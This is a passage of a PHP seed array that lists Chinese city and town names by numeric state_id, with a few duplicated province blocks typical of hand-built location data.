'qinzhou'],\n ['state_id' => '743', 'name' => 'songhua'],\n ['state_id' => '743', 'name' => 'wuzhou'],\n ['state_id' => '743', 'name' => 'yashan'],\n ['state_id' => '743', 'name' => 'yulin'],\n ['state_id' => '744', 'name' => 'anshun'],\n ['state_id' => '744', 'name' => 'bijie'],\n ['state_id' => '744', 'name' => 'caohai'],\n ['state_id' => '744', 'name' => 'duyun'],\n ['state_id' => '744', 'name' => 'guiyang'],\n ['state_id' => '744', 'name' => 'kaili'],\n ['state_id' => '744', 'name' => 'liupanshui'],\n ['state_id' => '744', 'name' => 'luoyang'],\n ['state_id' => '744', 'name' => 'pingzhai'],\n ['state_id' => '744', 'name' => 'tongren'],\n ['state_id' => '744', 'name' => 'tongzi'],\n ['state_id' => '744', 'name' => 'xiaoweizhai'],\n ['state_id' => '744', 'name' => 'xingyi'],\n ['state_id' => '744', 'name' => 'zunyi'],\n ['state_id' => '745', 'name' => 'chengmai'],\n ['state_id' => '745', 'name' => 'dingan'],\n ['state_id' => '745', 'name' => 'haikou'],\n ['state_id' => '745', 'name' => 'lingao'],\n ['state_id' => '745', 'name' => 'qiongshan'],\n ['state_id' => '745', 'name' => 'sansha '],\n ['state_id' => '745', 'name' => 'sanya'],\n ['state_id' => '745', 'name' => 'wanning'],\n ['state_id' => '746', 'name' => 'anping'],\n ['state_id' => '746', 'name' => 'baoding'],\n ['state_id' => '746', 'name' => 'botou'],\n ['state_id' => '746', 'name' => 'cangzhou'],\n ['state_id' => '746', 'name' => 'changli'],\n ['state_id' => '746', 'name' => 'chengde'],\n ['state_id' => '746', 'name' => 'dingzhou'],\n ['state_id' => '746', 'name' => 'fengfeng'],\n ['state_id' => '746', 'name' => 'fengrun'],\n ['state_id' => '746', 'name' => 'guye'],\n ['state_id' => '746', 'name' => 'handan'],\n ['state_id' => '746', 'name' => 'hebei'],\n ['state_id' => '746', 'name' => 'hecun'],\n ['state_id' => '746', 'name' => 'hejian'],\n ['state_id' => '746', 'name' => 'hengshui'],\n ['state_id' => '746', 'name' => 'huanghua'],\n ['state_id' => '746', 'name' => 'jingxingkuang'],\n ['state_id' => '746', 'name' => 'jinzhou'],\n ['state_id' => '746', 'name' => 'langfang'],\n ['state_id' => '746', 'name' => 'lianzhou'],\n ['state_id' => '746', 'name' => 'linshui'],\n ['state_id' => '746', 'name' => 'linxi'],\n ['state_id' => '746', 'name' => 'longyao county'],\n ['state_id' => '746', 'name' => 'nangong'],\n ['state_id' => '746', 'name' => 'pengcheng'],\n ['state_id' => '746', 'name' => 'qinhuangdao'],\n ['state_id' => '746', 'name' => 'renqiu'],\n ['state_id' => '746', 'name' => 'shahe'],\n ['state_id' => '746', 'name' => 'shijiazhuang'],\n ['state_id' => '746', 'name' => 'tangjiazhuang'],\n ['state_id' => '746', 'name' => 'tangshan'],\n ['state_id' => '746', 'name' => 'wuan'],\n ['state_id' => '746', 'name' => 'xian county'],\n ['state_id' => '746', 'name' => 'xingtai'],\n ['state_id' => '746', 'name' => 'xinji'],\n ['state_id' => '746', 'name' => 'xinle'],\n ['state_id' => '746', 'name' => 'xuanhua'],\n ['state_id' => '746', 'name' => 'zhangjiakou'],\n ['state_id' => '746', 'name' => 'zhaogezhuang'],\n ['state_id' => '746', 'name' => 'zhuozhou'],\n ['state_id' => '747', 'name' => 'acheng'],\n ['state_id' => '747', 'name' => 'anda'],\n ['state_id' => '747', 'name' => 'angangxi'],\n ['state_id' => '747', 'name' => 'baiquan'],\n ['state_id' => '747', 'name' => 'bamiantong'],\n ['state_id' => '747', 'name' => 'baoqing'],\n ['state_id' => '747', 'name' => 'baoshan'],\n ['state_id' => '747', 'name' => 'bayan'],\n ['state_id' => '747', 'name' => 'beian'],\n ['state_id' => '747', 'name' => 'binzhou'],\n ['state_id' => '747', 'name' => 'boli'],\n ['state_id' => '747', 'name' => 'chaihe'],\n ['state_id' => '747', 'name' => 'chengzihe'],\n ['state_id' => '747', 'name' => 'cuiluan'],\n ['state_id' => '747', 'name' => 'daqing'],\n ['state_id' => '747', 'name' => 'didao'],\n ['state_id' => '747', 'name' => 'dongning'],\n ['state_id' => '747', 'name' => 'fujin'],\n ['state_id' => '747', 'name' => 'fuli'],\n ['state_id' => '747', 'name' => 'fulitun'],\n ['state_id' => '747', 'name' => 'fuyu'],\n ['state_id' => '747', 'name' => 'gannan'],\n ['state_id' => '747', 'name' => 'hailin'],\n ['state_id' => '747', 'name' => 'hailun'],\n ['state_id' => '747', 'name' => 'harbin'],\n ['state_id' => '747', 'name' => 'hegang'],\n ['state_id' => '747', 'name' => 'heihe'],\n ['state_id' => '747', 'name' => 'hengshan'],\n ['state_id' => '747', 'name' => 'honggang'],\n ['state_id' => '747', 'name' => 'huanan'],\n ['state_id' => '747', 'name' => 'hulan'],\n ['state_id' => '747', 'name' => 'hulan ergi'],\n ['state_id' => '747', 'name' => 'jiamusi'],\n ['state_id' => '747', 'name' => 'jidong'],\n ['state_id' => '747', 'name' => 'jixi'],\n ['state_id' => '747', 'name' => 'keshan'],\n ['state_id' => '747', 'name' => 'langxiang'],\n ['state_id' => '747', 'name' => 'lanxi'],\n ['state_id' => '747', 'name' => 'lingdong'],\n ['state_id' => '747', 'name' => 'linkou'],\n ['state_id' => '747', 'name' => 'lishu'],\n ['state_id' => '747', 'name' => 'longfeng'],\n ['state_id' => '747', 'name' => 'longjiang'],\n ['state_id' => '747', 'name' => 'mingshui'],\n ['state_id' => '747', 'name' => 'mishan'],\n ['state_id' => '747', 'name' => 'mudanjiang'],\n ['state_id' => '747', 'name' => 'nancha'],\n ['state_id' => '747', 'name' => 'nehe'],\n ['state_id' => '747', 'name' => 'nenjiang'],\n ['state_id' => '747', 'name' => 'nianzishan'],\n ['state_id' => '747', 'name' => 'ningan'],\n ['state_id' => '747', 'name' => 'qingan'],\n ['state_id' => '747', 'name' => 'qinggang'],\n ['state_id' => '747', 'name' => 'qiqihar'],\n ['state_id' => '747', 'name' => 'qitaihe'],\n ['state_id' => '747', 'name' => 'ranghulu'],\n ['state_id' => '747', 'name' => 'saertu'],\n ['state_id' => '747', 'name' => 'shangzhi'],\n ['state_id' => '747', 'name' => 'shanhetun'],\n ['state_id' => '747', 'name' => 'shuangcheng'],\n ['state_id' => '747', 'name' => 'shuangyashan'],\n ['state_id' => '747', 'name' => 'sifantan'],\n ['state_id' => '747', 'name' => 'suifenhe'],\n ['state_id' => '747', 'name' => 'suihua'],\n ['state_id' => '747', 'name' => 'suileng'],\n ['state_id' => '747', 'name' => 'tahe'],\n ['state_id' => '747', 'name' => 'taikang'],\n ['state_id' => '747', 'name' => 'tailai'],\n ['state_id' => '747', 'name' => 'tieli'],\n ['state_id' => '747', 'name' => 'wangkui'],\n ['state_id' => '747', 'name' => 'weihe'],\n ['state_id' => '747', 'name' => 'wuchang'],\n ['state_id' => '747', 'name' => 'xinglongzhen'],\n ['state_id' => '747', 'name' => 'xinqing'],\n ['state_id' => '747', 'name' => 'yian'],\n ['state_id' => '747', 'name' => 'yichun'],\n ['state_id' => '747', 'name' => 'yilan'],\n ['state_id' => '747', 'name' => 'youhao'],\n ['state_id' => '747', 'name' => 'zhaodong'],\n ['state_id' => '747', 'name' => 'zhaoyuan'],\n ['state_id' => '747', 'name' => 'zhaozhou'],\n ['state_id' => '748', 'name' => 'anyang'],\n ['state_id' => '748', 'name' => 'changying'],\n ['state_id' => '748', 'name' => 'dancheng'],\n ['state_id' => '748', 'name' => 'daokou'],\n ['state_id' => '748', 'name' => 'dengzhou'],\n ['state_id' => '748', 'name' => 'gongyi'],\n ['state_id' => '748', 'name' => 'gushi'],\n ['state_id' => '748', 'name' => 'hebi'],\n ['state_id' => '748', 'name' => 'huaidian'],\n ['state_id' => '748', 'name' => 'huangchuan'],\n ['state_id' => '748', 'name' => 'huangzhai'],\n ['state_id' => '748', 'name' => 'jiaozuo'],\n ['state_id' => '748', 'name' => 'jishui'],\n ['state_id' => '748', 'name' => 'kaifeng'],\n ['state_id' => '748', 'name' => 'liupen'],\n ['state_id' => '748', 'name' => 'luohe'],\n ['state_id' => '748', 'name' => 'luoyang'],\n ['state_id' => '748', 'name' => 'luyang'],\n ['state_id' => '748', 'name' => 'mengzhou'],\n ['state_id' => '748', 'name' => 'minggang'],\n ['state_id' => '748', 'name' => 'nandun'],\n ['state_id' => '748', 'name' => 'nanyang'],\n ['state_id' => '748', 'name' => 'pingdingshan'],\n ['state_id' => '748', 'name' => 'puyang'],\n ['state_id' => '748', 'name' => 'sanmenxia'],\n ['state_id' => '748', 'name' => 'shangqiu'],\n ['state_id' => '748', 'name' => 'tanghe'],\n ['state_id' => '748', 'name' => 'xiaoyi'],\n ['state_id' => '748', 'name' => 'xihua'],\n ['state_id' => '748', 'name' => 'xinxiang'],\n ['state_id' => '748', 'name' => 'xinyang'],\n ['state_id' => '748', 'name' => 'xinye'],\n ['state_id' => '748', 'name' => 'xixiang'],\n ['state_id' => '748', 'name' => 'xuanwu'],\n ['state_id' => '748', 'name' => 'xuchang'],\n ['state_id' => '748', 'name' => 'yigou'],\n ['state_id' => '748', 'name' => 'yima'],\n ['state_id' => '748', 'name' => 'yinzhuang'],\n ['state_id' => '748', 'name' => 'yunyang'],\n ['state_id' => '748', 'name' => 'yuzhou'],\n ['state_id' => '748', 'name' => 'zhecheng'],\n ['state_id' => '748', 'name' => 'zhengzhou'],\n ['state_id' => '748', 'name' => 'zhenping'],\n ['state_id' => '748', 'name' => 'zhoukou'],\n ['state_id' => '748', 'name' => 'zhumadian'],\n ['state_id' => '749', 'name' => 'anlu'],\n ['state_id' => '749', 'name' => 'baisha'],\n ['state_id' => '749', 'name' => 'buhe'],\n ['state_id' => '749', 'name' => 'caidian'],\n ['state_id' => '749', 'name' => 'caohe'],\n ['state_id' => '749', 'name' => 'danjiangkou'],\n ['state_id' => '749', 'name' => 'daye'],\n ['state_id' => '749', 'name' => 'duobao'],\n ['state_id' => '749', 'name' => 'enshi'],\n ['state_id' => '749', 'name' => 'ezhou'],\n ['state_id' => '749', 'name' => 'fengkou'],\n ['state_id' => '749', 'name' => 'guangshui'],\n ['state_id' => '749', 'name' => 'gucheng'],\n ['state_id' => '749', 'name' => 'hanchuan'],\n ['state_id' => '749', 'name' => 'hongan'],\n ['state_id' => '749', 'name' => 'honghu'],\n ['state_id' => '749', 'name' => 'huangmei'],\n ['state_id' => '749', 'name' => 'huangpi'],\n ['state_id' => '749', 'name' => 'huangshi'],\n ['state_id' => '749', 'name' => 'huangzhou'],\n ['state_id' => '749', 'name' => 'jingmen'],\n ['state_id' => '749', 'name' => 'jingzhou'],\n ['state_id' => '749', 'name' => 'laohekou'],\n ['state_id' => '749', 'name' => 'lichuan'],\n ['state_id' => '749', 'name' => 'macheng'],\n ['state_id' => '749', 'name' => 'nanhai'],\n ['state_id' => '749', 'name' => 'nanzhang'],\n ['state_id' => '749', 'name' => 'puqi'],\n ['state_id' => '749', 'name' => 'qianjiang'],\n ['state_id' => '749', 'name' => 'qingquan'],\n ['state_id' => '749', 'name' => 'qixingtai'],\n ['state_id' => '749', 'name' => 'rongcheng'],\n ['state_id' => '749', 'name' => 'shashi'],\n ['state_id' => '749', 'name' => 'shishou'],\n ['state_id' => '749', 'name' => 'shiyan'],\n ['state_id' => '749', 'name' => 'suizhou'],\n ['state_id' => '749', 'name' => 'tianmen'],\n ['state_id' => '749', 'name' => 'tongcheng'],\n ['state_id' => '749', 'name' => 'wuhan'],\n ['state_id' => '749', 'name' => 'wuxue'],\n ['state_id' => '749', 'name' => 'xiangfan'],\n ['state_id' => '749', 'name' => 'xianning'],\n ['state_id' => '749', 'name' => 'xiantao'],\n ['state_id' => '749', 'name' => 'xiaogan'],\n ['state_id' => '749', 'name' => 'xiaoxita'],\n ['state_id' => '749', 'name' => 'xiaxindian'],\n ['state_id' => '749', 'name' => 'xihe'],\n ['state_id' => '749', 'name' => 'xinpu'],\n ['state_id' => '749', 'name' => 'xinshi'],\n ['state_id' => '749', 'name' => 'xinzhou'],\n ['state_id' => '749', 'name' => 'yichang'],\n ['state_id' => '749', 'name' => 'yicheng'],\n ['state_id' => '749', 'name' => 'yingcheng'],\n ['state_id' => '749', 'name' => 'yingzhong'],\n ['state_id' => '749', 'name' => 'zaoyang'],\n ['state_id' => '749', 'name' => 'zhengchang'],\n ['state_id' => '749', 'name' => 'zhicheng'],\n ['state_id' => '749', 'name' => 'zhifang'],\n ['state_id' => '749', 'name' => 'zhongxiang'],\n ['state_id' => '750', 'name' => 'anjiang'],\n ['state_id' => '750', 'name' => 'anxiang'],\n ['state_id' => '750', 'name' => 'changde'],\n ['state_id' => '750', 'name' => 'changsha'],\n ['state_id' => '750', 'name' => 'chenzhou'],\n ['state_id' => '750', 'name' => 'dayong'],\n ['state_id' => '750', 'name' => 'hengyang'],\n ['state_id' => '750', 'name' => 'hongjiang'],\n ['state_id' => '750', 'name' => 'huaihua'],\n ['state_id' => '750', 'name' => 'jinshi'],\n ['state_id' => '750', 'name' => 'jishou'],\n ['state_id' => '750', 'name' => 'leiyang'],\n ['state_id' => '750', 'name' => 'lengshuijiang'],\n ['state_id' => '750', 'name' => 'lengshuitan'],\n ['state_id' => '750', 'name' => 'lianyuan'],\n ['state_id' => '750', 'name' => 'liling'],\n ['state_id' => '750', 'name' => 'liuyang'],\n ['state_id' => '750', 'name' => 'loudi'],\n ['state_id' => '750', 'name' => 'matian'],\n ['state_id' => '750', 'name' => 'nanzhou'],\n ['state_id' => '750', 'name' => 'ningxiang'],\n ['state_id' => '750', 'name' => 'qidong'],\n ['state_id' => '750', 'name' => 'qiyang'],\n ['state_id' => '750', 'name' => 'shaoyang'],\n ['state_id' => '750', 'name' => 'xiangtan'],\n ['state_id' => '750', 'name' => 'xiangxiang'],\n ['state_id' => '750', 'name' => 'xiangyin'],\n ['state_id' => '750', 'name' => 'xinhua'],\n ['state_id' => '750', 'name' => 'yiyang'],\n ['state_id' => '750', 'name' => 'yongfeng'],\n ['state_id' => '750', 'name' => 'yongzhou'],\n ['state_id' => '750', 'name' => 'yuanjiang'],\n ['state_id' => '750', 'name' => 'yueyang'],\n ['state_id' => '750', 'name' => 'zhuzhou'],\n ['state_id' => '751', 'name' => 'baoying'],\n ['state_id' => '751', 'name' => 'changzhou'],\n ['state_id' => '751', 'name' => 'dachang'],\n ['state_id' => '751', 'name' => 'dafeng'],\n ['state_id' => '751', 'name' => 'danyang'],\n ['state_id' => '751', 'name' => 'dingshu'],\n ['state_id' => '751', 'name' => 'dongkan'],\n ['state_id' => '751', 'name' => 'dongtai'],\n ['state_id' => '751', 'name' => 'fengxian'],\n ['state_id' => '751', 'name' => 'gaogou'],\n ['state_id' => '751', 'name' => 'gaoyou'],\n ['state_id' => '751', 'name' => 'guiren'],\n ['state_id' => '751', 'name' => 'haian'],\n ['state_id' => '751', 'name' => 'haizhou'],\n ['state_id' => '751', 'name' => 'hede'],\n ['state_id' => '751', 'name' => 'huaicheng'],\n ['state_id' => '751', 'name' => 'huaiyin'],\n ['state_id' => '751', 'name' => 'huilong'],\n ['state_id' => '751', 'name' => 'hutang'],\n ['state_id' => '751', 'name' => 'jiangdu'],\n ['state_id' => '751', 'name' => 'jiangyan'],\n ['state_id' => '751', 'name' => 'jiangyin'],\n ['state_id' => '751', 'name' => 'jiangyuan'],\n ['state_id' => '751', 'name' => 'jianhu'],\n ['state_id' => '751', 'name' => 'jingcheng'],\n ['state_id' => '751', 'name' => 'jinsha'],\n ['state_id' => '751', 'name' => 'jintan'],\n ['state_id' => '751', 'name' => 'juegang'],\n ['state_id' => '751', 'name' => 'jurong'],\n ['state_id' => '751', 'name' => 'kunshan'],\n ['state_id' => '751', 'name' => 'lianyungang'],\n ['state_id' => '751', 'name' => 'liucheng'],\n ['state_id' => '751', 'name' => 'liyang'],\n ['state_id' => '751', 'name' => 'luodu'],\n ['state_id' => '751', 'name' => 'mudu'],\n ['state_id' => '751', 'name' => 'nanjing'],\n ['state_id' => '751', 'name' => 'nantong'],\n ['state_id' => '751', 'name' => 'pecheng'],\n ['state_id' => '751', 'name' => 'pukou'],\n ['state_id' => '751', 'name' => 'qidong'],\n ['state_id' => '751', 'name' => 'qinnan'],\n ['state_id' => '751', 'name' => 'qixia'],\n ['state_id' => '751', 'name' => 'rucheng'],\n ['state_id' => '751', 'name' => 'songling'],\n ['state_id' => '751', 'name' => 'sucheng'],\n ['state_id' => '751', 'name' => 'suicheng'],\n ['state_id' => '751', 'name' => 'suqian'],\n ['state_id' => '751', 'name' => 'suzhou'],\n ['state_id' => '751', 'name' => 'taicang'],\n ['state_id' => '751', 'name' => 'taixing'],\n ['state_id' => '751', 'name' => 'wujiang'],\n ['state_id' => '751', 'name' => 'wuxi'],\n ['state_id' => '751', 'name' => 'xiaolingwei'],\n ['state_id' => '751', 'name' => 'xiaoshi'],\n ['state_id' => '751', 'name' => 'xinan'],\n ['state_id' => '751', 'name' => 'xinpu'],\n ['state_id' => '751', 'name' => 'xuzhou'],\n ['state_id' => '751', 'name' => 'yancheng'],\n ['state_id' => '751', 'name' => 'yangshe'],\n ['state_id' => '751', 'name' => 'yangzhou'],\n ['state_id' => '751', 'name' => 'yizheng'],\n ['state_id' => '751', 'name' => 'yunhe'],\n ['state_id' => '751', 'name' => 'yunyang'],\n ['state_id' => '751', 'name' => 'yushan'],\n ['state_id' => '751', 'name' => 'zhangjiagang'],\n ['state_id' => '751', 'name' => 'zhangjiangang'],\n ['state_id' => '751', 'name' => 'zhaoyang'],\n ['state_id' => '751', 'name' => 'zhenjiang'],\n ['state_id' => '751', 'name' => 'zhongxing'],\n ['state_id' => '752', 'name' => 'baoying'],\n ['state_id' => '752', 'name' => 'changzhou'],\n ['state_id' => '752', 'name' => 'dachang'],\n ['state_id' => '752', 'name' => 'dafeng'],\n ['state_id' => '752', 'name' => 'danyang'],\n ['state_id' => '752', 'name' => 'dingshu'],\n ['state_id' => '752', 'name' => 'dongkan'],\n ['state_id' => '752', 'name' => 'dongtai'],\n ['state_id' => '752', 'name' => 'fengxian'],\n ['state_id' => '752', 'name' => 'gaogou'],\n ['state_id' => '752', 'name' => 'gaoyou'],\n ['state_id' => '752', 'name' => 'guiren'],\n ['state_id' => '752', 'name' => 'haian'],\n ['state_id' => '752', 'name' => 'haizhou'],\n ['state_id' => '752', 'name' => 'hede'],\n ['state_id' => '752', 'name' => 'huaicheng'],\n ['state_id' => '752', 'name' => 'huaiyin'],\n ['state_id' => '752', 'name' => 'huilong'],\n ['state_id' => '752', 'name' => 'hutang'],\n ['state_id' => '752', 'name' => 'jiangdu'],\n ['state_id' => '752', 'name' => 'jiangyan'],\n ['state_id' => '752', 'name' => 'jiangyin'],\n ['state_id' => '752', 'name' => 'jiangyuan'],\n ['state_id' => '752', 'name' => 'jianhu'],\n ['state_id' => '752', 'name' => 'jingcheng'],\n ['state_id' => '752', 'name' => 'jinsha'],\n ['state_id' => '752', 'name' => 'jintan'],\n ['state_id' => '752', 'name' => 'juegang'],\n ['state_id' => '752', 'name' => 'jurong'],\n ['state_id' => '752', 'name' => 'kunshan'],\n ['state_id' => '752', 'name' => 'lianyungang'],\n ['state_id' => '752', 'name' => 'liucheng'],\n ['state_id' => '752', 'name' => 'liyang'],\n ['state_id' => '752', 'name' => 'luodu'],\n ['state_id' => '752', 'name' => 'mudu'],\n ['state_id' => '752', 'name' => 'nanjing'],\n ['state_id' => '752', 'name' => 'nantong'],\n ['state_id' => '752', 'name' => 'pecheng'],\n ['state_id' => '752', 'name' => 'pukou'],\n ['state_id' => '752', 'name' => 'qidong'],\n ['state_id' => '752', 'name' => 'qinnan'],\n ['state_id' => '752', 'name' => 'qixia'],\n ['state_id' => '752', 'name' => 'rucheng'],\n ['state_id' => '752', 'name' => 'songling'],\n ['state_id' => '752', 'name' => 'sucheng'],\n ['state_id' => '752', 'name' => 'suicheng'],\n ['state_id' => '752', 'name' => 'suqian'],\n ['state_id' => '752', 'name' => 'suzhou'],\n ['state_id' => '752', 'name' => 'taicang'],\n ['state_id' => '752', 'name' => 'taixing'],\n ['state_id' => '752', 'name' => 'wujiang'],\n ['state_id' => '752', 'name' => 'wuxi'],\n ['state_id' => '752', 'name' => 'xiaolingwei'],\n ['state_id' => '752', 'name' => 'xiaoshi'],\n ['state_id' => '752', 'name' => 'xinan'],\n ['state_id' => '752', 'name' => 'xinpu'],\n ['state_id' => '752', 'name' => 'xuzhou'],\n ['state_id' => '752', 'name' => 'yancheng'],\n ['state_id' => '752', 'name' => 'yangshe'],\n ['state_id' => '752', 'name' => 'yangzhou'],\n ['state_id' => '752', 'name' => 'yizheng'],\n ['state_id' => '752', 'name' => 'yunhe'],\n ['state_id' => '752', 'name' => 'yunyang'],\n ['state_id' => '752', 'name' => 'yushan'],\n ['state_id' => '752', 'name' => 'zhangjiagang'],\n ['state_id' => '752', 'name' => 'zhangjiangang'],\n ['state_id' => '752', 'name' => 'zhaoyang'],\n ['state_id' => '752', 'name' => 'zhenjiang'],\n ['state_id' => '752', 'name' => 'zhongxing'],\n ['state_id' => '753', 'name' => 'fengxin'],\n ['state_id' => '753', 'name' => 'fenyi'],\n ['state_id' => '753', 'name' => 'ganzhou'],\n ['state_id' => '753', 'name' => 'jian'],\n ['state_id' => '753', 'name' => 'jiangguang'],\n ['state_id' => '753', 'name' => 'jingdezhen'],\n ['state_id' => '753', 'name' => 'jiujiang'],\n ['state_id' => '753', 'name' => 'leping'],\n ['state_id' => '753', 'name' => 'linchuan'],\n ['state_id' => '753', 'name' => 'nanchang'],\n ['state_id' => '753', 'name' => 'pingxiang'],\n ['state_id' => '753', 'name' => 'poyang'],\n ['state_id' => '753', 'name' => 'shangrao'],\n ['state_id' => '753', 'name' => 'xiangdong'],\n ['state_id' => '753', 'name' => 'xingan'],\n ['state_id' => '753', 'name' => 'xinjian'],\n ['state_id' => '753', 'name' => 'xinyu'],\n ['state_id' => '753', 'name' => 'xiongshi'],\n ['state_id' => '753', 'name' => 'yichun'],\n ['state_id' => '753', 'name' => 'yingtai'],\n ['state_id' => '753', 'name' => 'yingtan'],\n ['state_id' => '753', 'name' => 'zhangshui'],\n ['state_id' => '754', 'name' => 'badaojiang'],\n ['state_id' => '754', 'name' => 'baicheng'],\n ['state_id' => '754', 'name' => 'baishishan'],\n ['state_id' => '754', 'name' => 'changchun'],\n ['state_id' => '754', 'name' => 'changling'],\n ['state_id' => '754', 'name' => 'chaoyang'],\n ['state_id' => '754', 'name' => 'daan'],\n ['state_id' => '754', 'name' => 'dashitou'],\n ['state_id' => '754', 'name' => 'dehui'],\n ['state_id' => '754', 'name' => 'dongchang'],\n ['state_id' => '754', 'name' => 'dongfeng'],\n ['state_id' => '754', 'name' => 'dunhua'],\n ['state_id' => '754', 'name' => 'erdaojiang'],\n ['state_id' => '754', 'name' => 'fuyu'],\n ['state_id' => '754', 'name' => 'gongzhuling'],\n ['state_id' => '754', 'name' => 'helong'],\n ['state_id' => '754', 'name' => 'hongmei'],\n ['state_id' => '754', 'name' => 'huadian'],\n ['state_id' => '754', 'name' => 'huangnihe'],\n ['state_id' => '754', 'name' => 'huinan'],\n ['state_id' => '754', 'name' => 'hunchun'],\n ['state_id' => '754', 'name' => 'jiaohe'],\n ['state_id' => '754', 'name' => 'jilin'],\n ['state_id' => '754', 'name' => 'jishu'],\n ['state_id' => '754', 'name' => 'jiutai'],\n ['state_id' => '754', 'name' => 'kaitong'],\n ['state_id' => '754', 'name' => 'kouqian'],\n ['state_id' => '754', 'name' => 'liaoyuan'],\n ['state_id' => '754', 'name' => 'linjiang'],\n ['state_id' => '754', 'name' => 'lishu'],\n ['state_id' => '754', 'name' => 'liuhe'],\n ['state_id' => '754', 'name' => 'longjing'],\n ['state_id' => '754', 'name' => 'meihekou'],\n ['state_id' => '754', 'name' => 'mingyue'],\n ['state_id' => '754', 'name' => 'nongan'],\n ['state_id' => '754', 'name' => 'panshi'],\n ['state_id' => '754', 'name' => 'pizhou'],\n ['state_id' => '754', 'name' => 'qianan'],\n ['state_id' => '754', 'name' => 'qianguo'],\n ['state_id' => '754', 'name' => 'sanchazi'],\n ['state_id' => '754', 'name' => 'shuangyang'],\n ['state_id' => '754', 'name' => 'shulan'],\n ['state_id' => '754', 'name' => 'siping'],\n ['state_id' => '754', 'name' => 'songjianghe'],\n ['state_id' => '754', 'name' => 'taonan'],\n ['state_id' => '754', 'name' => 'tumen'],\n ['state_id' => '754', 'name' => 'wangou'],\n ['state_id' => '754', 'name' => 'wangqing'],\n ['state_id' => '754', 'name' => 'xinglongshan'],\n ['state_id' => '754', 'name' => 'yanji'],\n ['state_id' => '754', 'name' => 'yantongshan'],\n ['state_id' => '754', 'name' => 'yushu'],\n ['state_id' => '754', 'name' => 'zhengjiatun'],\n ['state_id' => '754', 'name' => 'zhenlai'],\n ['state_id' => '755', 'name' => 'anshan'],\n ['state_id' => '755', 'name' => 'beipiao'],\n ['state_id' => '755', 'name' => 'benxi'],\n ['state_id' => '755', 'name' => 'changtu'],\n ['state_id' => '755', 'name' => 'chaoyang'],\n ['state_id' => '755', 'name' => 'dalian'],\n ['state_id' => '755', 'name' => 'dalianwan'],\n ['state_id' => '755', 'name' => 'dalinghe'],\n ['state_id' => '755', 'name' => 'dandong'],\n ['state_id' => '755', 'name' => 'dashiqiao'],\n ['state_id' => '755', 'name' => 'dongling'],\n ['state_id' => '755', 'name' => 'fengcheng'],\n ['state_id' => '755', 'name' => 'fushun'],\n ['state_id' => '755', 'name' => 'fuxin'],\n ['state_id' => '755', 'name' => 'haicheng'],\n ['state_id' => '755', 'name' => 'heishan'],\n ['state_id' => '755', 'name' => 'huanren'],\n ['state_id' => '755', 'name' => 'huludao'],\n ['state_id' => '755', 'name' => 'hushitai'],\n ['state_id' => '755', 'name' => 'jinxi'],\n ['state_id' => '755', 'name' => 'jinzhou'],\n ['state_id' => '755', 'name' => 'jiupu'],\n ['state_id' => '755', 'name' => 'kaiyuan'],\n ['state_id' => '755', 'name' => 'kuandian'],\n ['state_id' => '755', 'name' => 'langtou'],\n ['state_id' => '755', 'name' => 'liaoyang'],\n ['state_id' => '755', 'name' => 'liaozhong'],\n ['state_id' => '755', 'name' => 'lingyuan'],\n ['state_id' => '755', 'name' => 'liuerbao'],\n ['state_id' => '755', 'name' => 'lushunkou'],\n ['state_id' => '755', 'name' => 'nantai'],\n ['state_id' => '755', 'name' => 'panjin'],\n ['state_id' => '755', 'name' => 'pulandian'],\n ['state_id' => '755', 'name' => 'shenyang'],\n ['state_id' => '755', 'name' => 'sujiatun'],\n ['state_id' => '755', 'name' => 'tieling'],\n ['state_id' => '755', 'name' => 'wafangdian'],\n ['state_id' => '755', 'name' => 'xiaoshi'],\n ['state_id' => '755', 'name' => 'xifeng'],\n ['state_id' => '755', 'name' => 'xinchengxi'],\n ['state_id' => '755', 'name' => 'xingcheng'],\n ['state_id' => '755', 'name' => 'xinmin'],\n ['state_id' => '755', 'name' => 'xiongyue'],\n ['state_id' => '755', 'name' => 'xiuyan'],\n ['state_id' => '755', 'name' => 'yebaishou'],\n ['state_id' => '755', 'name' => 'yingkou'],\n ['state_id' => '755', 'name' => 'yuhong'],\n ['state_id' => '755', 'name' => 'zhuanghe'],\n ['state_id' => '756', 'name' => 'anshan'],\n ['state_id' => '756', 'name' => 'beipiao'],\n ['state_id' => '756', 'name' => 'benxi'],\n ['state_id' => '756', 'name' => 'changtu'],\n ['state_id' => '756', 'name' => 'chaoyang'],\n ['state_id' => '756', 'name' => 'dalian'],\n ['state_id' => '756', 'name' => 'dalianwan'],\n ['state_id' => '756', 'name' => 'dalinghe'],\n ['state_id' => '756', 'name' => 'dandong'],\n ['state_id' => '756', 'name' => 'dashiqiao'],\n ['state_id' => '756', 'name' => 'dongling'],\n ['state_id' => '756', 'name' => 'fengcheng'],\n ['state_id' => '756', 'name' => 'fushun'],\n ['state_id' => '756', 'name' => 'fuxin'],\n ['state_id' => '756', 'name' => 'haicheng'],\n ['state_id' => '756', 'name' => 'heishan'],\n ['state_id' => '756', 'name' => 'huanren'],\n ['state_id' => '756', 'name' => 'huludao'],\n ['state_id' => '756', 'name' => 'hushitai'],\n ['state_id' => '756', 'name' => 'jinxi'],\n ['state_id' => '756', 'name' => 'jinzhou'],\n ['state_id' => '756', 'name' => 'jiupu'],\n ['state_id' => '756', 'name' => 'kaiyuan'],\n ['state_id' => '756', 'name' => 'kuandian'],\n ['state_id' => '756', 'name' => 'langtou'],\n ['state_id' => '756', 'name' => 'liaoyang'],\n ['state_id' => '756', 'name' => 'liaozhong'],\n ['state_id' => '756', 'name' => 'lingyuan'],\n ['state_id' => '756', 'name' => 'liuerbao'],\n ['state_id' => '756', 'name' => 'lushunkou'],\n ['state_id' => '756', 'name' => 'nantai'],\n ['state_id' => '756', 'name' => 'panjin'],\n ['state_id' => '756', 'name' => 'pulandian'],\n ['state_id' => '756', 'name' => 'shenyang'],\n ['state_id' => '756', 'name' => 'sujiatun'],\n ['state_id' => '756', 'name' => 'tieling'],\n ['state_id' => '756', 'name' => 'wafangdian'],\n ['state_id' => '756', 'name' => 'xiaoshi'],\n ['state_id' => '756', 'name' => 'xifeng'],\n ['state_id' => '756', 'name' => 'xinchengxi'],\n ['state_id' => '756', 'name' => 'xingcheng'],\n ['state_id' => '756', 'name' => 'xinmin'],\n ['state_id' => '756', 'name' => 'xiongyue'],\n ['state_id' => '756', 'name' => 'xiuyan'],\n ['state_id' => '756', 'name' => 'yebaishou'],\n ['state_id' => '756', 'name' => 'yingkou'],\n ['state_id' => '756', 'name' => 'yuhong'],\n ['state_id' => '756', 'name' => 'zhuanghe'],\n ['state_id' => '759', 'name' => 'qiatou'],\n ['state_id' => '759', 'name' => 'xining'],\n ['state_id' => '760', 'name' => 'ankang'],\n ['state_id' => '760', 'name' => 